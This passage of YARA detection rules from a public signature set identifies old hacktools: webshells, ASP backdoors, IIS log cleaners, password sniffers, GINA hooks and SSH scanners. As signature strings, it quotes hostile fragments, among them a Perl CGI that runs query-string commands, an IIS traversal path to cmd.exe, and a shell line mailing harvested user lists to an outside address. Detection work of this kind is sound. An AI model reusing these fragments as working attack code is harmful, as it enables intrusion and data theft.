		description = "Disclosed hacktool set (old stuff) - file 2323.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "21812186a9e92ee7ddc6e91e4ec42991f0143763"
		id = "445f6a49-51e6-5eb8-ae08-e5989aafb6c4"

	strings:
		$s0 = "port - Port to listen on, defaults to 2323" fullword ascii
		$s1 = "Usage: srvcmd.exe [/h] [port]" fullword ascii
		$s3 = "Failed to execute shell" fullword ascii
		$s5 = "/h   - Hide Window" fullword ascii
		$s7 = "Accepted connection from client at %s" fullword ascii
		$s9 = "Error %d: %s" fullword ascii

	condition:
		all of them
}

rule Jc_ALL_WinEggDropShell_rar_Folder_Install_2
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file Install.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "95866e917f699ee74d4735300568640ea1a05afd"
		id = "ebfc8e53-328c-5deb-bf9b-e0270f171c68"

	strings:
		$s1 = "http://go.163.com/sdemo" fullword wide
		$s2 = "Player.tmp" fullword ascii
		$s3 = "Player.EXE" fullword wide
		$s4 = "mailto:sdemo@263.net" fullword ascii
		$s5 = "S-Player.exe" fullword ascii
		$s9 = "http://www.BaiXue.net (" wide

	condition:
		all of them
}

rule sig_238_TFTPD32
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file TFTPD32.EXE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "5c5f8c1a2fa8c26f015e37db7505f7c9e0431fe8"
		id = "071fba15-affe-539a-bcc0-c14943fff51a"

	strings:
		$s0 = " http://arm.533.net" fullword ascii
		$s1 = "Tftpd32.hlp" fullword ascii
		$s2 = "Timeouts and Ports should be numerical and can not be 0" fullword ascii
		$s3 = "TFTPD32 -- " fullword wide
		$s4 = "%d -- %s" fullword ascii
		$s5 = "TIMEOUT while waiting for Ack block %d. file <%s>" fullword ascii
		$s12 = "TftpPort" fullword ascii
		$s13 = "Ttftpd32BackGround" fullword ascii
		$s17 = "SOFTWARE\\TFTPD32" fullword ascii

	condition:
		all of them
}

rule sig_238_iecv
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file iecv.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "6e6e75350a33f799039e7a024722cde463328b6d"
		id = "08126db3-267b-5289-b562-40bc264f6e3e"

	strings:
		$s1 = "Edit The Content Of Cookie " fullword wide
		$s3 = "Accessories\\wordpad.exe" fullword ascii
		$s4 = "gorillanation.com" fullword ascii
		$s5 = "Before editing the content of a cookie, you should close all windows of Internet" ascii
		$s12 = "http://nirsoft.cjb.net" fullword ascii

	condition:
		all of them
}

rule Antiy_Ports_1_21
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file Antiy Ports 1.21.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "ebf4bcc7b6b1c42df6048d198cbe7e11cb4ae3f0"
		id = "eb53fc91-4dec-5416-a2c7-1e8256297886"

	strings:
		$s0 = "AntiyPorts.EXE" fullword wide
		$s7 = "AntiyPorts MFC Application" fullword wide
		$s20 = " @Stego:" fullword ascii

	condition:
		all of them
}

rule perlcmd_zip_Folder_cmd
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file cmd.cgi"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "21b5dc36e72be5aca5969e221abfbbdd54053dd8"
		id = "19e4eca0-bd56-57af-afd2-ee2fc5c7c0df"

	strings:
		$s0 = "syswrite(STDOUT, \"Content-type: text/html\\r\\n\\r\\n\", 27);" fullword ascii
		$s1 = "s/%20/ /ig;" fullword ascii
		$s2 = "syswrite(STDOUT, \"\\r\\n</PRE></HTML>\\r\\n\", 17);" fullword ascii
		$s4 = "open(STDERR, \">&STDOUT\") || die \"Can't redirect STDERR\";" fullword ascii
		$s5 = "$_ = $ENV{QUERY_STRING};" fullword ascii
		$s6 = "$execthis = $_;" fullword ascii
		$s7 = "system($execthis);" fullword ascii
		$s12 = "s/%2f/\\//ig;" fullword ascii

	condition:
		6 of them
}

rule aspbackdoor_asp3
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file asp3.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "e5588665ca6d52259f7d9d0f13de6640c4e6439c"
		id = "ed86e829-449b-5088-a105-f1fe79547540"

	strings:
		$s0 = "<form action=\"changepwd.asp\" method=\"post\"> " fullword ascii
		$s1 = "  Set oUser = GetObject(\"WinNT://ComputerName/\" & UserName) " fullword ascii
		$s2 = "    value=\"<%=Request.ServerVariables(\"LOGIN_USER\")%>\"> " fullword ascii
		$s14 = " Windows NT " fullword ascii
		$s16 = " WIndows 2000 " fullword ascii
		$s18 = "OldPwd = Request.Form(\"OldPwd\") " fullword ascii
		$s19 = "NewPwd2 = Request.Form(\"NewPwd2\") " fullword ascii
		$s20 = "NewPwd1 = Request.Form(\"NewPwd1\") " fullword ascii

	condition:
		all of them
}

rule sig_238_FPipe
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file FPipe.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
		id = "0b2f11d9-a919-5790-8724-d2f028e4fa3a"

	strings:
		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
		$s2 = "source port for that outbound connection being set to 53 also." fullword ascii
		$s3 = " -s    - outbound source port number" fullword ascii
		$s5 = "http://www.foundstone.com" fullword ascii
		$s20 = "Attempting to connect to %s port %d" fullword ascii

	condition:
		all of them
}

rule sig_238_concon
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file concon.com"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "816b69eae66ba2dfe08a37fff077e79d02b95cc1"
		id = "ca7862cc-1053-5fce-a569-6ecc069314df"

	strings:
		$s0 = "Usage: concon \\\\ip\\sharename\\con\\con" fullword ascii

	condition:
		all of them
}

rule aspbackdoor_regdll
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file regdll.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "5c5e16a00bcb1437bfe519b707e0f5c5f63a488d"
		id = "37096c50-68d0-5412-847a-022062a5ff2a"

	strings:
		$s1 = "exitcode = oShell.Run(\"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, " ascii
		$s3 = "oShell.Run \"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, False" fullword ascii
		$s4 = "EchoB(\"regsvr32.exe exitcode = \" & exitcode)" fullword ascii
		$s5 = "Public Property Get oFS()" fullword ascii

	condition:
		all of them
}

rule CleanIISLog
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file CleanIISLog.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
		id = "439726c6-3262-59ef-9a54-7dcd98cf924d"

	strings:
		$s1 = "CleanIP - Specify IP Address Which You Want Clear." fullword ascii
		$s2 = "LogFile - Specify Log File Which You Want Process." fullword ascii
		$s8 = "CleanIISLog Ver" fullword ascii
		$s9 = "msftpsvc" fullword ascii
		$s10 = "Fatal Error: MFC initialization failed" fullword ascii
		$s11 = "Specified \"ALL\" Will Process All Log Files." fullword ascii
		$s12 = "Specified \".\" Will Clean All IP Record." fullword ascii
		$s16 = "Service %s Stopped." fullword ascii
		$s20 = "Process Log File %s..." fullword ascii

	condition:
		5 of them
}

rule sqlcheck
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file sqlcheck.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "5a5778ac200078b627db84fdc35bf5bcee232dc7"
		id = "a72d38ef-b2e7-5051-8538-724d9e95fa6a"

	strings:
		$s0 = "Power by eyas<cooleyas@21cn.com>" fullword ascii
		$s3 = "\\ipc$ \"\" /user:\"\"" fullword ascii
		$s4 = "SQLCheck can only scan a class B network. Try again." fullword ascii
		$s14 = "Example: SQLCheck 192.168.0.1 192.168.0.254" fullword ascii
		$s20 = "Usage: SQLCheck <StartIP> <EndIP>" fullword ascii

	condition:
		3 of them
}

rule sig_238_RunAsEx
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file RunAsEx.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "a22fa4e38d4bf82041d67b4ac5a6c655b2e98d35"
		id = "5fe349db-c0fc-5a49-97ee-3142f4e0e4c1"

	strings:
		$s0 = "RunAsEx By Assassin 2000. All Rights Reserved. http://www.netXeyes.com" fullword ascii
		$s8 = "cmd.bat" fullword ascii
		$s9 = "Note: This Program Can'nt Run With Local Machine." fullword ascii
		$s11 = "%s Execute Succussifully." fullword ascii
		$s12 = "winsta0" fullword ascii
		$s15 = "Usage: RunAsEx <UserName> <Password> <Execute File> [\"Execute Option\"]" fullword ascii

	condition:
		4 of them
}

rule sig_238_nbtdump
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file nbtdump.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "cfe82aad5fc4d79cf3f551b9b12eaf9889ebafd8"
		id = "fe490f72-a07d-57c2-b9bb-d791fab10ec6"

	strings:
		$s0 = "Creation of results file - \"%s\" failed." fullword ascii
		$s1 = "c:\\>nbtdump remote-machine" fullword ascii
		$s7 = "Cerberus NBTDUMP" fullword ascii
		$s11 = "<CENTER><H1>Cerberus Internet Scanner</H1>" fullword ascii
		$s18 = "<P><H3>Account Information</H3><PRE>" fullword wide
		$s19 = "%s's password is %s</H3>" fullword wide
		$s20 = "%s's password is blank</H3>" fullword wide

	condition:
		5 of them
}

rule sig_238_Glass2k
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file Glass2k.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "b05455a1ecc6bc7fc8ddef312a670f2013704f1a"
		id = "7a2ad37a-6b55-5710-b07d-7c289cdbb04e"

	strings:
		$s0 = "Portions Copyright (c) 1997-1999 Lee Hasiuk" fullword ascii
		$s1 = "C:\\Program Files\\Microsoft Visual Studio\\VB98" fullword ascii
		$s3 = "WINNT\\System32\\stdole2.tlb" fullword ascii
		$s4 = "Glass2k.exe" fullword wide
		$s7 = "NeoLite Executable File Compressor" fullword ascii

	condition:
		all of them
}

rule SplitJoin_V1_3_3_rar_Folder_3
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "21409117b536664a913dcd159d6f4d8758f43435"
		id = "4ffd7501-339c-52b7-8661-2c3ca57dfa1f"

	strings:
		$s2 = "ie686@sohu.com" fullword ascii
		$s3 = "splitjoin.exe" fullword ascii
		$s7 = "SplitJoin" fullword ascii

	condition:
		all of them
}

rule aspbackdoor_EDIT
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file EDIT.ASP"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "12196cf62931cde7b6cb979c07bb5cc6a7535cbb"
		id = "cdcec370-97af-51c0-b81a-35a788f16ef4"

	strings:
		$s1 = "<meta HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html;charset=gb_2312-80\">" fullword ascii
		$s2 = "Set thisfile = fs.GetFile(whichfile)" fullword ascii
		$s3 = "response.write \"<a href='index.asp'>" fullword ascii
		$s5 = "if Request.Cookies(\"password\")=\"juchen\" then " fullword ascii
		$s6 = "Set thisfile = fs.OpenTextFile(whichfile, 1, False)" fullword ascii
		$s7 = "color: rgb(255,0,0); text-decoration: underline }" fullword ascii
		$s13 = "if Request(\"creat\")<>\"yes\" then" fullword ascii

	condition:
		5 of them
}

rule aspbackdoor_entice
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file entice.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "e273a1b9ef4a00ae4a5d435c3c9c99ee887cb183"
		id = "68c61920-9c3c-5bfe-976c-346b258bb406"

	strings:
		$s0 = "<Form Name=\"FormPst\" Method=\"Post\" Action=\"entice.asp\">" fullword ascii
		$s2 = "if left(trim(request(\"sqllanguage\")),6)=\"select\" then" fullword ascii
		$s4 = "conndb.Execute(sqllanguage)" fullword ascii
		$s5 = "<!--#include file=sqlconn.asp-->" fullword ascii
		$s6 = "rstsql=\"select * from \"&rstable(\"table_name\")" fullword ascii

	condition:
		all of them
}

rule FPipe2_0
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file FPipe2.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "891609db7a6787575641154e7aab7757e74d837b"
		id = "7e104cf6-69d2-590e-8999-4f0d448719f2"

	strings:
		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
		$s2 = " -s    - outbound connection source port number" fullword ascii
		$s3 = "source port for that outbound connection being set to 53 also." fullword ascii
		$s4 = "http://www.foundstone.com" fullword ascii
		$s19 = "FPipe" fullword ascii

	condition:
		all of them
}

rule InstGina
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file InstGina.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "5317fbc39508708534246ef4241e78da41a4f31c"
		id = "ccbda689-e61a-501d-a8ed-62e3c1c20289"

	strings:
		$s0 = "To Open Registry" fullword ascii
		$s4 = "I love Candy very much!!" ascii
		$s5 = "GinaDLL" fullword ascii

	condition:
		all of them
}

rule ArtTray_zip_Folder_ArtTray
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file ArtTray.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "ee1edc8c4458c71573b5f555d32043cbc600a120"
		id = "d29909a4-8663-54c7-8f0e-68b15def869f"

	strings:
		$s0 = "http://www.brigsoft.com" fullword wide
		$s2 = "ArtTrayHookDll.dll" fullword ascii
		$s3 = "ArtTray Version 1.0 " fullword wide
		$s16 = "TRM_HOOKCALLBACK" fullword ascii

	condition:
		all of them
}

rule sig_238_findoor
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file findoor.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "cdb1ececceade0ecdd4479ecf55b0cc1cf11cdce"
		id = "61215a76-8c29-505d-bfef-a5f13fec476c"

	strings:
		$s0 = "(non-Win32 .EXE or error in .EXE image)." fullword ascii
		$s8 = "PASS hacker@hacker.com" fullword ascii
		$s9 = "/scripts/..%c1%1c../winnt/system32/cmd.exe" fullword ascii
		$s10 = "MAIL FROM:hacker@hacker.com" fullword ascii
		$s11 = "http://isno.yeah.net" fullword ascii

	condition:
		4 of them
}

rule aspbackdoor_ipclear
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file ipclear.vbs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "9f8fdfde4b729516330eaeb9141fb2a7ff7d0098"
		id = "71ebecea-721f-5c5d-9997-6a57f070d91c"

	strings:
		$s0 = "Set ServiceObj = GetObject(\"WinNT://\" & objNet.ComputerName & \"/w3svc\")" fullword ascii
		$s1 = "wscript.Echo \"USAGE:KillLog.vbs LogFileName YourIP.\"" fullword ascii
		$s2 = "Set txtStreamOut = fso.OpenTextFile(destfile, ForWriting, True)" fullword ascii
		$s3 = "Set objNet = WScript.CreateObject( \"WScript.Network\" )" fullword ascii
		$s4 = "Set fso = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii

	condition:
		all of them
}

rule WinEggDropShellFinal_zip_Folder_InjectT
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "516e80e4a25660954de8c12313e2d7642bdb79dd"
		id = "16f04551-050f-5a07-a35b-a3a7dbba6803"

	strings:
		$s0 = "Packed by exe32pack" ascii
		$s1 = "2TInject.Dll" fullword ascii
		$s2 = "Windows Services" fullword ascii
		$s3 = "Findrst6" fullword ascii
		$s4 = "Press Any Key To Continue......" fullword ascii

	condition:
		all of them
}

rule gina_zip_Folder_gina
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file gina.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "e0429e1b59989cbab6646ba905ac312710f5ed30"
		id = "7ebc7218-9c7b-5595-ae7b-f316fc99d1f6"

	strings:
		$s0 = "NEWGINA.dll" fullword ascii
		$s1 = "LOADER ERROR" fullword ascii
		$s3 = "WlxActivateUserShell" fullword ascii
		$s6 = "WlxWkstaLockedSAS" fullword ascii
		$s13 = "WlxIsLockOk" fullword ascii
		$s14 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
		$s16 = "WlxShutdown" fullword ascii
		$s17 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii

	condition:
		all of them
}

rule superscan3_0
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file superscan3.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "a9a02a14ea4e78af30b8b4a7e1c6ed500a36bc4d"
		id = "d22aa3ae-4c62-5007-896d-7c473f0421a6"

	strings:
		$s0 = "\\scanner.ini" ascii
		$s1 = "\\scanner.exe" ascii
		$s2 = "\\scanner.lst" ascii
		$s4 = "\\hensss.lst" ascii
		$s5 = "STUB32.EXE" fullword wide
		$s6 = "STUB.EXE" fullword wide
		$s8 = "\\ws2check.exe" ascii
		$s9 = "\\trojans.lst" ascii
		$s10 = "1996 InstallShield Software Corporation" fullword wide

	condition:
		all of them
}

rule sig_238_xsniff
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file xsniff.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
		id = "1e61a732-8691-5f84-beb0-c9f7e6d46538"

	strings:
		$s2 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
		$s3 = "%s - simple sniffer for win2000" fullword ascii
		$s4 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
		$s5 = "HOST: %s USER: %s, PASS: %s" fullword ascii
		$s7 = "http://www.xfocus.org" fullword ascii
		$s9 = "  -pass        : Filter username/password" fullword ascii
		$s18 = "  -udp         : Output udp packets" fullword ascii
		$s19 = "Code by glacier <glacier@xfocus.org>" fullword ascii
		$s20 = "  -tcp         : Output tcp packets" fullword ascii

	condition:
		6 of them
}

rule sig_238_fscan
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file fscan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "d5646e86b5257f9c83ea23eca3d86de336224e55"
		id = "7af4d38a-bc88-57ba-b602-4e01d3d95015"

	strings:
		$s0 = "FScan v1.12 - Command line port scanner." fullword ascii
		$s2 = " -n    - no port scanning - only pinging (unless you use -q)" fullword ascii
		$s5 = "Example: fscan -bp 80,100-200,443 10.0.0.1-10.0.1.200" fullword ascii
		$s6 = " -z    - maximum simultaneous threads to use for scanning" fullword ascii
		$s12 = "Failed to open the IP list file \"%s\"" fullword ascii
		$s13 = "http://www.foundstone.com" fullword ascii
		$s16 = " -p    - TCP port(s) to scan (a comma separated list of ports/ranges) " fullword ascii
		$s18 = "Bind port number out of range. Using system default." fullword ascii
		$s19 = "fscan.exe" fullword wide

	condition:
		4 of them
}

rule _iissample_nesscan_twwwscan
{
	meta:
		description = "Disclosed hacktool set (old stuff) - from files iissample.exe, nesscan.exe, twwwscan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		super_rule = 1
		hash0 = "7f20962bbc6890bf48ee81de85d7d76a8464b862"
		hash1 = "c0b1a2196e82eea4ca8b8c25c57ec88e4478c25b"
		hash2 = "548f0d71ef6ffcc00c0b44367ec4b3bb0671d92f"
		id = "a710ca8e-54dc-5a98-b173-c87b22af745f"

	strings:
		$s0 = "Connecting HTTP Port - Result: " fullword
		$s1 = "No space for command line argument vector" fullword
		$s3 = "Microsoft(July/1999~) http://www.microsoft.com/technet/security/current.asp" fullword
		$s5 = "No space for copy of command line" fullword
		$s7 = "-  Windows NT,2000 Patch Method  - " fullword
		$s8 = "scanf : floating point formats not linked" fullword
		$s12 = "hrdir_b.c: LoadLibrary != mmdll borlndmm failed" fullword
		$s13 = "!\"what?\"" fullword
		$s14 = "%s Port %d Closed" fullword
		$s16 = "printf : floating point formats not linked" fullword
		$s17 = "xxtype.cpp" fullword

	condition:
		all of them
}

rule _FsHttp_FsPop_FsSniffer
{
	meta:
		description = "Disclosed hacktool set (old stuff) - from files FsHttp.exe, FsPop.exe, FsSniffer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		super_rule = 1
		hash0 = "9d4e7611a328eb430a8bb6dc7832440713926f5f"
		hash1 = "ae23522a3529d3313dd883727c341331a1fb1ab9"
		hash2 = "7ffc496cd4a1017485dfb571329523a52c9032d8"
		id = "5ca543af-2589-52b0-83f9-ad25ba76b633"

	strings:
		$s0 = "-ERR Invalid Command, Type [Help] For Command List" fullword
		$s1 = "-ERR Get SMS Users ID Failed" fullword
		$s2 = "Control Time Out 90 Secs, Connection Closed" fullword
		$s3 = "-ERR Post SMS Failed" fullword
		$s4 = "Current.hlt" fullword
		$s6 = "Histroy.hlt" fullword
		$s7 = "-ERR Send SMS Failed" fullword
		$s12 = "-ERR Change Password <New Password>" fullword
		$s17 = "+OK Send SMS Succussifully" fullword
		$s18 = "+OK Set New Password: [%s]" fullword
		$s19 = "CHANGE PASSWORD" fullword

	condition:
		all of them
}

rule Ammyy_Admin_AA_v3
{
	meta:
		description = "Remote Admin Tool used by APT group Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/gkAg2E"
		date = "2014/12/22"
		score = 55
		hash1 = "b130611c92788337c4f6bb9e9454ff06eb409166"
		hash2 = "07539abb2623fe24b9a05e240f675fa2d15268cb"
		id = "bb140cb7-9f56-5acb-883e-080dfd3f60d5"

	strings:
		$x1 = "S:\\Ammyy\\sources\\target\\TrService.cpp" fullword ascii
		$x2 = "S:\\Ammyy\\sources\\target\\TrDesktopCopyRect.cpp" fullword ascii
		$x3 = "Global\\Ammyy.Target.IncomePort" fullword ascii
		$x4 = "S:\\Ammyy\\sources\\target\\TrFmFileSys.cpp" fullword ascii
		$x5 = "Please enter password for accessing remote computer" fullword ascii
		$s1 = "CreateProcess1()#3 %d error=%d" fullword ascii
		$s2 = "CHttpClient::SendRequest2(%s, %s, %d) error: invalid host name." fullword ascii
		$s3 = "ERROR: CreateProcessAsUser() error=%d, session=%d" fullword ascii
		$s4 = "ERROR: FindProcessByName('explorer.exe')" fullword ascii

	condition:
		2 of ( $x* ) or all of ( $s* )
}

rule LinuxHacktool_eyes_scanssh
{
	meta:
		description = "Linux hack tools - file scanssh"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "not set"
		date = "2015/01/19"
		hash = "467398a6994e2c1a66a3d39859cde41f090623ad"
		id = "9546d0d8-42af-5b4c-ac93-195d14bfbb5b"

	strings:
		$s0 = "Connection closed by remote host" fullword ascii
		$s1 = "Writing packet : error on socket (or connection closed): %s" fullword ascii
		$s2 = "Remote connection closed by signal SIG%s %s" fullword ascii
		$s4 = "Reading private key %s failed (bad passphrase ?)" fullword ascii
		$s5 = "Server closed connection" fullword ascii
		$s6 = "%s: line %d: list delimiter not followed by keyword" fullword ascii
		$s8 = "checking for version `%s' in file %s required by file %s" fullword ascii
		$s9 = "Remote host closed connection" fullword ascii
		$s10 = "%s: line %d: bad command `%s'" fullword ascii
		$s13 = "verifying that server is a known host : file %s not found" fullword ascii
		$s14 = "%s: line %d: expected service, found `%s'" fullword ascii
		$s15 = "%s: line %d: list delimiter not followed by domain" fullword ascii
		$s17 = "Public key from server (%s) doesn't match user preference (%s)" fullword ascii

	condition:
		all of them
}

rule LinuxHacktool_eyes_pscan2
{
	meta:
		description = "Linux hack tools - file pscan2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "not set"
		date = "2015/01/19"
		hash = "56b476cba702a4423a2d805a412cae8ef4330905"
		id = "02d96766-6696-5410-ad48-bd8cb642ac51"

	strings:
		$s0 = "# pscan completed in %u seconds. (found %d ips)" fullword ascii
		$s1 = "Usage: %s <b-block> <port> [c-block]" fullword ascii
		$s3 = "%s.%d.* (total: %d) (%.1f%% done)" fullword ascii
		$s8 = "Invalid IP." fullword ascii
		$s9 = "# scanning: " fullword ascii
		$s10 = "Unable to allocate socket." fullword ascii

	condition:
		2 of them
}

rule LinuxHacktool_eyes_a
{
	meta:
		description = "Linux hack tools - file a"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "not set"
		date = "2015/01/19"
		hash = "458ada1e37b90569b0b36afebba5ade337ea8695"
		id = "2b4f52d4-b438-5040-89c5-aab1df15200e"

	strings:
		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
		$s1 = "mv scan.log bios.txt" fullword ascii
		$s2 = "rm -rf bios.txt" fullword ascii
		$s3 = "echo -e \"# by Eyes.\"" fullword ascii
		$s4 = "././pscan2 $1 22" fullword ascii
		$s10 = "echo \"#cautam...\"" fullword ascii

	condition:
		2 of them
}

rule LinuxHacktool_eyes_mass
{
	meta:
		description = "Linux hack tools - file mass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "not set"
		date = "2015/01/19"
		hash = "2054cb427daaca9e267b252307dad03830475f15"
		id = "5da0c474-2dc8-5580-bf5c-d3f464225e4c"

	strings:
		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
		$s1 = "echo -e \"${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\\n\\r" ascii
		$s3 = "killall -9 pscan2" fullword ascii
		$s5 = "echo \"[*] ${DCYN}Gata esti h4x0r ;-)${RES}  [*]\"" fullword ascii
		$s6 = "echo -e \"${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}\"" fullword ascii

	condition:
		1 of them
}

